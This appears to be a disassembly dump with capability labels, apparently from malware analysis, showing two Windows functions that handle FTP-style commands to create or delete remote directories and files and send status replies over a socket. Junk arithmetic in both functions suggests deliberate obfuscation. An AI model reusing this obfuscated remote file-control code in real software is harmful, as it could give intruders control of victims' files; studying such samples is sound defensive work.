Function at 0x405b03
Capabilities:
Create directory
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
mov edi, 0x69322cd3
mov eax, edi
mul edi
mov dword [ebp - 0x210], eax
mov edi, eax
xor edi, 0x7724
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x2f
jne 0x405b5f
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.004055d3
add esp, 0xc
mov eax, edi
add eax, edi
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov byte [ebp + eax - 0x105], 0
jmp 0x405b98
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004055d3
mov eax, edi
sub eax, edi
mov edi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push 0x43026f
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x1c
push 0
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
or eax, eax
je 0x405bed
lea eax, [ebp - 0x104]
push eax
push str.257___s__c_r_n
lea eax, [ebp - 0x208]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
lea esi, [ebp - 0x208]
push esi
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
add edi, 0x212f
jmp 0x405c09
push str.550_P_E_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.550_P_E_r_n
mov edi, dword [ebp + 8]
push dword [edi]
call sub.wsock32.dll_send
pop edi
pop esi
leave
ret

Function at 0x405c0d
Capabilities:
Delete directory
Delete file
Get file attributes
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
mov edi, 0x5f8936bc
xor edi, 0x57fd
mov eax, 0x2bdf
mul edi
mov dword [ebp - 0x10c], eax
mov edi, eax
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004055d3
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push 0x43026f
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x1c
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov dword [ebp - 0x108], eax
mov esi, eax
and esi, 1
cmp esi, 1
jne 0x405c94
mov esi, eax
shr esi, 1
shl esi, 1
push esi
lea esi, [ebp - 0x104]
push esi
call sub.KERNEL32.DLL_SetFileAttributesA
cmp dword [ebp - 0x108], 0x10
jne 0x405cda
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_RemoveDirectoryA
or eax, eax
je 0x405d0e
push str.250_DELE_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.250_DELE_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
mov eax, 0x5c9c
mul edi
mov dword [ebp - 0x110], eax
mov edi, eax
jmp 0x405d30
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_DeleteFileA
or eax, eax
je 0x405d0e
push str.250_DELE_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.250_DELE_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
mov eax, edi
sub eax, edi
mov edi, eax
jmp 0x405d30
push str.501_P_E_r_n
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
push str.501_P_E_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
mov eax, edi
xor eax, edi
mov edi, eax
pop edi
pop esi
leave
ret